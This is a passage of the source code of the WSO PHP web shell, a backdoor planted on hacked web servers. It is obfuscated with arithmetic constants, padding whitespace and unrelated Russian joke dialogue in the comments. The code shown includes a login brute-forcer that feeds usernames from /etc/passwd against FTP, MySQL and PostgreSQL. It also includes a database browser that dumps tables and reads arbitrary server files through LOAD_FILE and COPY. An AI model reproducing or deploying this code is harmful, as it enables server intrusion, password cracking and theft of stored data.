  1365.             wsoBruteForce($ip, $port, $login, $pass)
  1366.             {
  1367.                 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
  1368.                 $res = @pg_connect($str);
  1369.                 @pg_close($res);
  1370.                 return /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
  1371.                     $res;
  1372.             }
  1373.         }
  1374.         $success = round(0);
  1375.         $attempts = round(0);
  1376.         $server = explode(":", $_POST['server']);
  1377.         if ($_POST['type'] == /* <Avon>: Блин, я обоссался! */
  1378.             round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)
  1379.         ) {
  1380.             $temp = @file('/etc/passwd');
  1381.             if (is_array($temp)) foreach ($temp /* <Peter>: Ёманарот, сдрисни вообще отсюда, демон, вали отсюда в прошлое или будущее, я не знаю, ёманарот! */
  1382.                                           as /* <Peter>: Сдрисни отсюда, а то я ментов вызову, заяву на тебя накатаю! */
  1383.                                           $line) {
  1384.                 $line = explode(":", $line);
  1385.                 ++$attempts;
  1386.                 if (wsoBruteForce(@$server[round(0)], @$server[round(0 + 1)], $line[round(0)], $line[round(0)])) {
  1387.                     $success++;
  1388.                     echo /* <Peter>: Пошёл отсюда, говнюк! В рот мне ноги! */
  1389.                         '<b>' . htmlspecialchars($line[round(0)]) . '</b>:' . htmlspecialchars($line[round(0)]) . '<br>';
  1390.                 }
  1391.                 if (@$_POST['reverse']) {
  1392.                     $tmp = "";
  1393.                     for ($i = strlen($line[round(0)]) - round(0 + 0.5 + 0.5); $i >= round(0); --$i) $tmp /* <Operator>: Вот это впечатляюще было... */
  1394.                         .= /* <David Blaine>: Подожди... */
  1395.                         $line[round(0)][$i];
  1396.                     ++$attempts;
  1397.                     if (wsoBruteForce(@$server[round(0)], @$server[round(0 + 0.25 + 0.25 + 0.25 + 0.25)], $line[round(0)], $tmp)) {
  1398.                         $success++;
  1399.                         echo /* <Peter>: Он обоссался оранж содой! */
  1400.                             '<b>' . htmlspecialchars($line[round(0)]) . '</b>:' . htmlspecialchars($tmp);
  1401.                     }
  1402.                 }
  1403.             }
  1404.         } elseif ($_POST['type'] == /* <Peter>: В рот мне ноги!!! */
  1405.             round(0 + 2)
  1406.         ) {
  1407.             $temp = @file($_POST['dict']);
  1408.             if (is_array($temp)) foreach ($temp /* <=====end of part=====> */
  1409.                                           as /* <David Blaine>: Ага, вот эти ребята... */
  1410.                                           $line) {
  1411.                 $line = trim($line);
  1412.                 ++$attempts;
  1413.                 if (wsoBruteForce($server[round(0)], @$server[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)], $_POST['login'], $line)) {
  1414.                     $success++;
  1415.                     echo /* <David Blaine>: Эй, парни, я делаю особую, уличную магию */
  1416.                         '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
  1417.                 }
  1418.             }
  1419.         }
  1420.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1421.     }
  1422.     echo /* <Avon>: Ненененене!! */
  1423.         '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1424.     echo /* <David Blaine>: Хотите немного волшебства? */
  1425.     '</div><br>';
  1426.     wsoFooter();
  1427. }
  1428.  
  1429. function /* <Peter>: Знаешь, не хотим! */
  1430. actionSql()
  1431. {
  1432.     class /* <Avon>: Нет, нет! Тебе по ордеру запрещено подкатывать свои демонские яйца к нам!! */
  1433.     DbClass
  1434.     {
  1435.         var /* <Avon>: Я звоню ментам! */
  1436.             $type;
  1437.         var /* <Peter>: Продолжай пыриться! Ну. Ну пырься, пырься на меня, пырься, пырься. Ты ж знаешь, что это незаконно! */
  1438.             $link;
  1439.         var /* <Avon>: ...спасибо, спасибо... Они уже близко. Щас менты подъедут, понял? */
  1440.             $res;
  1441.  
  1442.         function /* <David Blaine>: Вот ты. Что у тебя за машина? */
  1443.         DbClass($type)
  1444.         {
  1445.             $this->type = $type;
  1446.         }
  1447.  
  1448.         function /* <Peter>: У меня? Хонда чёрная! */
  1449.         connect($host, $user, $pass, $dbname)
  1450.         {
  1451.             switch ($this->type) {
  1452.                 case /* <David Blaine>: Интересно, хонда... Такая компактная, да? */
  1453.                 'mysql':
  1454.                     if ($this->link = @mysql_connect($host, $user, $pass, true)) return /* <Peter>: Компактная? Да сам посмотри!.. Фак мой мозг!! Где машина? */
  1455.                         true;
  1456.                     break;
  1457.                 case /* <Avon>: И где она? */
  1458.                 'pgsql':
  1459.                     $host = explode(':', $host);
  1460.                     if (!$host[round(0 + 1)]) $host[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] = round(0 + 1358 + 1358 + 1358 + 1358);
  1461.                     if ($this->link = @pg_connect("host={$host[round(0)]} port={$host[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)]} user=$user password=$pass dbname=$dbname")) return /* <Peter>: Ты украл мою машину, чё ты стырил-то мою машину?? */
  1462.                         true;
  1463.                     break;
  1464.             }
  1465.             return /* <David Blaine>: Ты сам внимательн посмотри. */
  1466.                 false;
  1467.         }
  1468.  
  1469.         function /* <Avon>: Вот эта ебалайка что ли твоя машина? */
  1470.         selectdb($db)
  1471.         {
  1472.             switch ($this->type) {
  1473.                 case /* <Peter>: В рот мне ноги, ты чё, скукожил мою машину? Да у меня там вся одежда осталась! Там джинсы мои лежали! */
  1474.                 'mysql':
  1475.                     if (@mysql_select_db($db)) return /* <Avon>: Ну тыздец. Это ж моя любимая кепка! Барби-сайз какой-то, куда мне её теперь одевать, на писюн? */
  1476.                         true;
  1477.                     break;
  1478.             }
  1479.             return /* <Avon>: Так, дай-ка мне теперь ебалайку, дай сюда... Всё, ты в тюрьму теперь пойдёшь, Дэвид Блейн! Это вещдок, это вещдок! */
  1480.                 false;
  1481.         }
  1482.  
  1483.         function /* <Peter>: Ёманарот, ты вместе с джинсами семьдесят долларов скукожил, все компакт-диски покукожил, Джон Меир, Кэви Андервуд, Диск К миллионер... */
  1484.         query($str)
  1485.         {
  1486.             switch ($this->type) {
  1487.                 case /* <Peter>: Ты скукожил К миллионер, ты говнюк! Ёманарот! */
  1488.                 'mysql':
  1489.                     return /* <Avon>: Он машину раскукожил, пока я её в руках держал! Я чуть не умер! */
  1490.                         $this->res = @mysql_query($str);
  1491.                     break;
  1492.                 case /* <Peter>: Встань с земли, простудишься! */
  1493.                 'pgsql':
  1494.                     return /* <Avon>: Опа! Кепка опять налазит... */
  1495.                         $this->res = @pg_query($this->link, $str);
  1496.                     break;
  1497.             }
  1498.             return /* <Peter>: Ну спасибоньки, ему-то кепку увеличил, а моя одежда и диски остались барби-сайз! Это нечестно! Я тебя ненавижу! Не смотри на меня, не пырься на меня своими глазами, не пырься, не могу! */
  1499.                 false;
  1500.         }
  1501.  
  1502.         function /* <David Blaine>: Ну ладно, ладно, ладно. Вот что мы сделаем: накрой себя вот этим покрывалом, я досчитаю до трёх, и ты меня не увидишь никогда. */
  1503.         fetch()
  1504.         {
  1505.             $res = func_num_args() ? func_get_arg(round(0)) : $this->res;
  1506.             switch ($this->type) {
  1507.                 case /* <Peter>: И ты больше не будешь на меня пыриться? Хорошо, мне нравится этот фокус! Я его сделаю! */
  1508.                 'mysql':
  1509.                     return @mysql_fetch_assoc($res);
  1510.                     break;
  1511.                 case /* <Avon>: Эйвин! Будь осторожней! Чё-то мне как-то сыкатно! */
  1512.                 'pgsql':
  1513.                     return @pg_fetch_assoc($res);
  1514.                     break;
  1515.             }
  1516.             return /* <Peter>: Ну и чо я здесь за шторкой, как долботряс какой-то?! */
  1517.                 false;
  1518.         }
  1519.  
  1520.         function /* <Avon>: Ты чо с ним сделал? Ты его скукожил?? Ты зачем ему сделал барби-сайз?! Ты его скукожил! Ты его скукожил!! Слушай, раскукожь обратно моего друга, раскукожь! */
  1521.         listDbs()
  1522.         {
  1523.             switch ($this->type) {
  1524.                 case /* <David Blaine>: Ну хорошо. Смотри. */
  1525.                 'mysql':
  1526.                     return /* <Peter>: ...ааААААА... */
  1527.                         $this->query("SHOW databases");
  1528.                     break;
  1529.                 case /* <Avon>: Чё за херня? Я чё-то слышу... Эйвон? Ты его изговнякал! Изговнякал зачем? */
  1530.                 'pgsql':
  1531.                     return /* <Peter>: В рот мне ноги, я во временах динозавров был! */
  1532.                         $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1533.                     break;
  1534.             }
  1535.             return /* <Avon>: Чё? Да тебя десять секунд не было! */
  1536.                 false;
  1537.         }
  1538.  
  1539.         function /* <Peter>: Это здесь десять секунд, а там, во временах динозавров, я неделю парился! */
  1540.         listTables()
  1541.         {
  1542.             switch ($this->type) {
  1543.                 case /* <Peter>: Пять дней и четыре ночи! Ягоды жрал, корешки какие-то... Боролся с динозаврами за жизнь! */
  1544.                 'mysql':
  1545.                     return /* <Avon>: Ну ты хоть на них покатался? */
  1546.                         $this->res = $this->query('SHOW TABLES');
  1547.                     break;
  1548.                 case /* <Peter>: Ты чо, ёкнулся что ли, кататься, это ж не карусельки, а парк Юрского периода настоящий! */
  1549.                 'pgsql':
  1550.                     return /* <Peter>: Ты чё на меня пыришься, демон??! */
  1551.                         $this->res = $this->query("SELECT table_name FROM information_schema.tables WHERE table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1552.                     break;
  1553.             }
  1554.             return /* <Avon>: Вот долботряс, даже не покатался! */
  1555.                 false;
  1556.         }
  1557.  
  1558.         function /* <Peter>: Себе на кепку посмотри. */
  1559.         error()
  1560.         {
  1561.             switch ($this->type) {
  1562.                 case /* <Avon>: Чо там? */
  1563.                 'mysql':
  1564.                     return @mysql_error();
  1565.                     break;
  1566.                 case /* <Avon>: Опять кепка... Хватит менять размер моей кепки, ты, демон! */
  1567.                 'pgsql':
  1568.                     return @pg_last_error();
  1569.                     break;
  1570.             }
  1571.             return /* <Peter>: О, отлично, менты приехали! Ура, менты, привет! Наконец-то менты! */
  1572.                 false;
  1573.         }
  1574.  
  1575.         function /* <Policeman>: <to operator> Выруби камеру. */
  1576.         setCharset($str)
  1577.         {
  1578.             switch ($this->type) {
  1579.                 case /* <Peter>: Давайте аристуем его побыстрей! */
  1580.                 'mysql':
  1581.                     if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else /* <Avon>: Аристуйте его, он нас пугает, я чуть не обоссался! */
  1582.                     $this->query('SET CHARSET ' . $str);
  1583.                     break;
  1584.                 case /* <Peter>: Он мои компакт-диски скукожил! */
  1585.                 'pgsql':
  1586.                     return @pg_set_client_encoding($this->link, $str);
  1587.                     break;
  1588.             }
  1589.             return /* <Policeman>: Так-так. Всем спокойно, чё за проблемы? */
  1590.                 false;
  1591.         }
  1592.  
  1593.         function /* <Avon>: Я держал ебалайку, а он её увеличил до машины, чёть не придавило, а ещё у кепки постоянно размер меняет, вот! Чё мне теперь, на коленке носить, что ли? */
  1594.         loadFile($str)
  1595.         {
  1596.             switch ($this->type) {
  1597.                 case /* <Policeman>: Ага, ну всё понятно... <to David Blayne> Вы, сэр, развернитесь и встаньте лицом к стене. */
  1598.                 'mysql':
  1599.                     return /* <Avon>: Уйди! */
  1600.                         $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
  1601.                     break;
  1602.                 case /* <Peter>: Его необходимо арестовать за то, что он отправил меня во времена динозавров, а я там чуть не сдох! Я есть хотел, и мне пришлось украсть яйцо с динозавриком, и мама динозавра гналась за мной потом и загнала меня в УГОЛ!!! */
  1603.                 'pgsql':
  1604.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
  1605.                     $r = array();
  1606.                     while ($i = $this->fetch()) $r[] = $i['file'];
  1607.                     $this->query('DROP TABLE wso2');
  1608.                     return /* <Avon>: Даже не прокатился! */
  1609.                         array('file' => implode("\n", $r));
  1610.                     break;
  1611.             }
  1612.             return /* <Peter>: Я весь изговнякался! */
  1613.                 false;
  1614.         }
  1615.  
  1616.         function /* <Avon>: А этот долботряс даже не покатался на них, они были злые! */
  1617.         dump($table, $fp = false)
  1618.         {
  1619.             switch ($this->type) {
  1620.                 case /* <Policeman>: Всё понятно... Давайте по порядку. Назовите свои имена. */
  1621.                 'mysql':
  1622.                     $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
  1623.                     $create = mysql_fetch_array($res);
  1624.                     $sql = $create[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] . ";\n";
  1625.                     if ($fp) fwrite($fp, $sql); else /* <Peter>: ...r g u f a n... */
  1626.                     echo($sql);
  1627.                     $this->query('SELECT * FROM `' . $table . '`');
  1628.                     $i = round(0);
  1629.                     $head = true;
  1630.                     while ($item = $this->fetch()) {
  1631.                         $sql = '';
  1632.                         if ($i % round(0 + 1000) == /* <Avon>: Peter Peszynski */
  1633.                             round(0)
  1634.                         ) {
  1635.                             $head = true;
  1636.                             $sql = ";\n\n";
  1637.                         }
  1638.                         $columns = array();
  1639.                         foreach ($item /* <Peter>: У тебя польская фамилия! */
  1640.                                  as /* <Peter>: Его необходимо арестовать, там, в тюрьму посадить или ещё куда, ну, в общем, закрыть навсегда его! */
  1641.                                  $k => $v) {
  1642.                             if ($v /* <Avon>: Он нам жизнь разрушил уже! */
  1643.                                 === /* <David Blaine>: <in the policeman's suit> Хорошо... Я посмотрю, что я смогу для вас сделать... */
  1644.                                 null
  1645.                             ) $item[$k] = "NULL"; elseif (is_int($v)) $item[$k] = $v; else /* <Peter>: В рот мне ноги, фак мой мозг!!! */
  1646.                             $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
  1647.                             $columns[] = "`" . $k . "`";
  1648.                         }
  1649.                         if ($head) {
  1650.                             $sql /* <Peter>: Чё за хуйня, ёманарооооот!!! Я щас обоссусь! */
  1651.                                 .= /* <=====end of part=====> */
  1652.                                 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
  1653.                             $head = false;
  1654.                         } else /* <=====street magic=====> */
  1655.                         $sql /* <David Blaine>: Ага, вот эти ребята... */
  1656.                             .= /* <Peter>: Ненененене!! */
  1657.                             "\n\t,(" . implode(", ", $item) . ')';
  1658.                         if ($fp) fwrite($fp, $sql); else /* <Avon>: Нет, нет, Дэвид Блейн, нет! */
  1659.                         echo($sql);
  1660.                         $i++;
  1661.                     }
  1662.                     if (!$head) if ($fp) fwrite($fp, ";\n\n"); else /* <David Blaine>: Я делаю особую, уличную магию. */
  1663.                     echo(";\n\n");
  1664.                     break;
  1665.                 case /* <David Blaine>: Кто хочет увидеть немного магии? */
  1666.                 'pgsql':
  1667.                     $this->query('SELECT * FROM ' . $table);
  1668.                     while ($item = $this->fetch()) {
  1669.                         $columns = array();
  1670.                         foreach ($item /* <Avon>: Чё мы тебе, долботрясы какие-нибудь? Нет, спасибо! */
  1671.                                  as /* <Peter>: Мы целый день шопились, заманались, хотим просто отдохнуть, всё! */
  1672.                                  $k => $v) {
  1673.                             $item[$k] = "'" . addslashes($v) . "'";
  1674.                             $columns[] = $k;
  1675.                         }
  1676.                         $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
  1677.                         if ($fp) fwrite($fp, $sql); else /* <David Blaine>: И где вы шопились? */
  1678.                         echo($sql);
  1679.                     }
  1680.                     break;
  1681.             }
  1682.             return /* <Peter>: В один магаз ходили новый! */
  1683.                 false;
  1684.         }
  1685.  
  1686.         function /* <Avon>: Он ещё не трендовый, ты про него не знаешь. */
  1687.         dump_columns($table, $columns, $fp = false)
  1688.         {
  1689.             switch ($this->type) {
  1690.                 case /* <David Blaine>: И чо купили? */
  1691.                 'mysql':
  1692.                     $sql = "--";
  1693.                     if ($fp) fwrite($fp, $sql); else /* <Avon>: Я купил зеленый свитер, если ты так хочешь знать! */
  1694.                     echo($sql);
  1695.                     $this->query('SELECT ' . implode(', ', $columns) . ' FROM `' . $table . '`');
  1696.                     $i = round(0);
  1697.                     $head = true;
  1698.                     while ($item = $this->fetch()) {
  1699.                         $sql = '';
  1700.                         if ($i % round(0 + 500 + 500) == /* <Peter>: Зеленый свитер! */
  1701.                             round(0)
  1702.                         ) {
  1703.                             $head = true;
  1704.                             $sql = ";\n\n";
  1705.                         }
  1706.                         $columns = array();
  1707.                         foreach ($item /* <David Blaine>: Интересно... А ты уверен, что ты не купил тедди беар, плюшевого мишку? */
  1708.                                  as /* <Avon>: Да, я уверен! */
  1709.                                  $k => $v) {
  1710.                             if ($v /* <Avon>: ТЕДДИ БИР!! */
  1711.                                 === /* <Peter>: Чё за херь! */
  1712.                                 null
  1713.                             ) $item[$k] = "NULL"; elseif (is_int($v)) $item[$k] = $v; else /* <Peter>: Э, ты чо сделал-то, а?! */
  1714.                             $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
  1715.                             $columns[] = "`" . $k . "`";
  1716.                         }
  1717.                         if ($head) {
  1718.                             $sql /* <Avon>: Где мой свитер? */
  1719.                                 .= /* <Peter>: Эй, он купил свитер, а он исчез, это ты его стырил? Притырил себе свитер, да это воровство! Отдай его свитер, сволочь! */
  1720.                                 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
  1721.                             $head = false;
  1722.                         } else /* <Avon>: Я потратил 48 долларов, ты, тупой и убогий фокусник! Где он? */
  1723.                         $sql /* <Peter>: Питер, глянь чо на тебе! */
  1724.                             .= /* <Avon>: Что за херня??? Как? */
  1725.                             "\n\t,(" . implode(", ", $item) . ')';
  1726.                         if ($fp) fwrite($fp, $sql); else /* <Peter>: В РОТ МНЕ НОГИ!!! */
  1727.                         echo($sql);
  1728.                         $i++;
  1729.                     }
  1730.                     if (!$head) if ($fp) fwrite($fp, ";\n\n"); else /* <Avon>: Я держал в руках вещи! */
  1731.                     echo(";\n\n");
  1732.                     break;
  1733.                 case /* <Peter>: В рот мне ноги! */
  1734.                 'pgsql':
  1735.                     $this->query('SELECT ' . implode(', ', $columns) . ' FROM ' . $table);
  1736.                     while ($item = $this->fetch()) {
  1737.                         $columns = array();
  1738.                         foreach ($item /* <Avon>: А, он уже растянутый, спасибо тебе! */
  1739.                                  as /* <Peter>: Слушай, остановись, а? */
  1740.                                  $k => $v) {
  1741.                             $item[$k] = "'" . addslashes($v) . "'";
  1742.                             $columns[] = $k;
  1743.                         }
  1744.                         $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
  1745.                         if ($fp) fwrite($fp, $sql); else /* <Avon>: Растянул свитер, я его даже не поносил ещё! */
  1746.                         echo($sql);
  1747.                     }
  1748.                     break;
  1749.             }
  1750.             return /* <David Blaine>: Эй. Эй, чё ты пьёшь? */
  1751.                 false;
  1752.         }
  1753.     }
  1754.  
  1755.     ;
  1756.     $db = new /* <Peter>: Оранж соду я пью! Что, в медведя превратишь? Я стакан-то держу! */
  1757.     DbClass($_POST['type']);
  1758.     if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
  1759.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1760.         $db->selectdb($_POST['sql_base']);
  1761.         switch ($_POST['charset']) {
  1762.             case /* <David Blaine>: Оранж соду? Может чё-нить другое оранжевое? */
  1763.             "Windows-1251":
  1764.                 $db->setCharset('cp1251');
  1765.                 break;
  1766.             case /* <Peter>: Чо ещё оранжевое? Ну это, печеньки? */
  1767.             "UTF-8":
  1768.                 $db->setCharset('utf8');
  1769.                 break;
  1770.             case /* <Peter>: ПЕЧЕНЬКИ!!! Стрелять-колотить! */
  1771.             "KOI8-R":
  1772.                 $db->setCharset('koi8r');
  1773.                 break;
  1774.             case /* <Peter>: ПЕЧЕНЬКИ!!! Печеньки! Печеньки! Печеньки! */
  1775.             "KOI8-U":
  1776.                 $db->setCharset('koi8u');
  1777.                 break;
  1778.             case /* <Peter>: Где оранж сода? Ты чо делаешь вообще, ты чо делаешь? */
  1779.             "cp866":
  1780.                 $db->setCharset('cp866');
  1781.                 break;
  1782.         }
  1783.         if (empty($_POST['file'])) {
  1784.             ob_start("ob_gzhandler", round(0 + 2048 + 2048));
  1785.             header("Content-Disposition: attachment; filename=dump.sql");
  1786.             header("Content-Type: text/plain");
  1787.             if (empty($_POST['columns'])) foreach ($_POST['tbl'] as /* <Avon>: У меня во рту оранж сода! */
  1788.                                                    $v) $db->dump($v); else /* <Peter>: Я на измене, я на измене! */
  1789.             $db->dump_columns($_POST['table'], $_POST['columns']);
  1790.             exit;
  1791.         } elseif ($fp = @fopen($_POST['file'], 'w')) {
  1792.             if (empty($_POST['columns'])) {
  1793.                 foreach ($_POST['tbl'] as /* <Avon>: Какая херня, ты положил её мне в рот! */
  1794.                          $v) $db->dump($v, $fp);
  1795.             } else {
  1796.                 $db->dump_columns(is_array($_POST['tbl']) ? $_POST['tbl'][round(0)] : $_POST['tbl'], $_POST['columns'], $fp);
  1797.             }
  1798.             fclose($fp);
  1799.             unset($_POST['p2']);
  1800.         } else /* <Peter>: В рот мне ноги, ты прекратишь это или нет, демон, остановись, в рот мне ноги! */
  1801.         die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1802.     }
  1803.     wsoHeader();
  1804.     echo /* <David Blaine>: Ну ладно-ладно, ребята, знаете, я хочу показать вам кое-что действительно крутое... */
  1805.         "
  1806.                                                                                                                                                                                                                                                                                                                                            <h1>Sql browser</h1><div class=content>
  1807.                                                                                                                                                                                                                                                                                                                                                <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1808.                                                                                                                                                                                                                                                                                                                                                            <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1809.                                                                                                                                                                                                                                                                                                                                                            <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
  1810.                                                                                                                                                                                                                                                                                                                                                            <td><select name='type'><option value='mysql' ";
  1811.     if (@$_POST['type'] == 'mysql') echo /* <Peter>: НЕТ! */
  1812.     'selected';
  1813.     echo /* <Avon>: Не, чувак, лучше себе показывай! */
  1814.     ">MySql</option><option value='pgsql' ";
  1815.     if (@$_POST['type'] == 'pgsql') echo /* <David Blaine>: Так, подождите одну минуточку, секунду подождите... */
  1816.     'selected';
  1817.     echo /* <Avon>: Оставь нас в покое! */
  1818.         ">PostgreSql</option></select></td>
  1819.                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
  1820.                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
  1821.                                                                                                                                                                                                                                                                                                                                                            <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
  1822.     $tmp = "<input type=text name=sql_base value=''>";
  1823.     if (isset($_POST['sql_host'])) {
  1824.         if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1825.             switch ($_POST['charset']) {
  1826.                 case /* <Peter>: Ааа, видел я этот фокус, ножками перебирать будешь, типа взлететь хочешь. */
  1827.                 "Windows-1251":
  1828.                     $db->setCharset('cp1251');
  1829.                     break;
  1830.                 case /* <Avon>: Мой племянник может так сделать, тоже мне фокус! */
  1831.                 "UTF-8":
  1832.                     $db->setCharset('utf8');
  1833.                     break;
  1834.                 case /* <David Blaine>: Просто подождите секундочку, а? */
  1835.                 "KOI8-R":
  1836.                     $db->setCharset('koi8r');
  1837.                     break;
  1838.                 case /* <Peter>: Крис Эйнджел делает это лучше, сука, понял, Крис Эйнджел делает это лучше! */
  1839.                 "KOI8-U":
  1840.                     $db->setCharset('koi8u');
  1841.                     break;
  1842.                 case /* <Avon>: Эйвин! Я лечу! */
  1843.                 "cp866":
  1844.                     $db->setCharset('cp866');
  1845.                     break;
  1846.             }
  1847.             $db->listDbs();
  1848.             echo /* <Peter>: Ёманарот!! */
  1849.             "<select name=sql_base><option value=''></option>";
  1850.             while ($item = $db->fetch()) {
  1851.                 list($key, $value) = each($item);
  1852.                 echo /* <Avon>: Я чувствую тепло и лечу! */
  1853.                     '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
  1854.             }
  1855.             echo /* <Peter>: ЁМАНАРОТ!!! */
  1856.             '</select>';
  1857.         } else /* <Peter>: Опусти его, пожалуйста, а? Ёманарот, под ним ничо нету, совсем ничо нету! */
  1858.         echo /* <Avon>: Он закинул меня на крышу! Он на крышу меня зачем-то закинул! Зачем ты меня сюда закинул? Дэвид Блейн, дай мне слезть! Дэвид Блейн, спусти меня! */
  1859.         $tmp;
  1860.     } else /* <Peter>: Хватит мне газировку в рот пихать! */
  1861.     echo /* <Avon>: Он даже не отлевитировал меня обратно! */
  1862.     $tmp;
  1863.     echo /* <Peter>: В рот мне ноги, валим отсюда быстрей! */
  1864.         "</td>
  1865.                                                                                                                                                                                                                                                                                                                                                            <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1866.                                                                                                                                                                                                                                                                                                                                                            <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
  1867.                                                                                                                                                                                                                                                                                                                                                        </tr>
  1868.                                                                                                                                                                                                                                                                                                                                                    </table>
  1869.                                                                                                                                                                                                                                                                                                                                                    <script>
  1870.                                                                                                                                                                                                                                                                                                                                                        s_db='" . @addslashes($_POST['sql_base']) . "';
  1871.                                                                                                                                                                                                                                                                                                                                                        function fs(f) {
  1872.                                                                                                                                                                                                                                                                                                                                                            if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1873.                                                                                                                                                                                                                                                                                                                                                                if(f.p1) f.p1.value='';
  1874.                                                                                                                                                                                                                                                                                                                                                                if(f.p2) f.p2.value='';
  1875.                                                                                                                                                                                                                                                                                                                                                                if(f.p3) f.p3.value='';
  1876.                                                                                                                                                                                                                                                                                                                                                            }
  1877.                                                                                                                                                                                                                                                                                                                                                        }
  1878.                                                                                                                                                                                                                                                                                                                                                        function st(t,l) {
  1879.                                                                                                                                                                                                                                                                                                                                                            d.sf.p1.value = 'select';
  1880.                                                                                                                                                                                                                                                                                                                                                            d.sf.p2.value = t;
  1881.                                                                                                                                                                                                                                                                                                                                                            if(l && d.sf.p3) d.sf.p3.value = l;
  1882.                                                                                                                                                                                                                                                                                                                                                            d.sf.submit();
  1883.                                                                                                                                                                                                                                                                                                                                                        }
  1884.                                                                                                                                                                                                                                                                                                                                                        function is() {
  1885.                                                                                                                                                                                                                                                                                                                                                            for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1886.                                                                                                                                                                                                                                                                                                                                                                d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1887.                                                                                                                                                                                                                                                                                                                                                        }
  1888.                                                                                                                                                                                                                                                                                                                                                    </script>";
  1889.     if (isset($db) && /* <David Blaine>: Эй, эй, ребята, ещё один трюк, ещё один фокус... */
  1890.         $db->link
  1891.     ) {
  1892.         echo /* <Peter>: Иди в пень, а то щас ментов позову! */
  1893.         "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1894.         if (!empty($_POST['sql_base'])) {
  1895.             $db->selectdb($_POST['sql_base']);
  1896.             echo /* <David Blaine>: Эй, подождите, парни, последний, обещаю. Эй, ребята! */
  1897.             "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1898.             $tbls_res = $db->listTables();
  1899.             while ($item = $db->fetch($tbls_res)) {
  1900.                 list($key, $value) = each($item);
  1901.                 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
  1902.                 $value = htmlspecialchars($value);
  1903.                 echo /* <David Blaine>: Если вы дадите мне показать ещё один фокус, я дам вам сто долларов. */
  1904.                     "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
  1905.             }
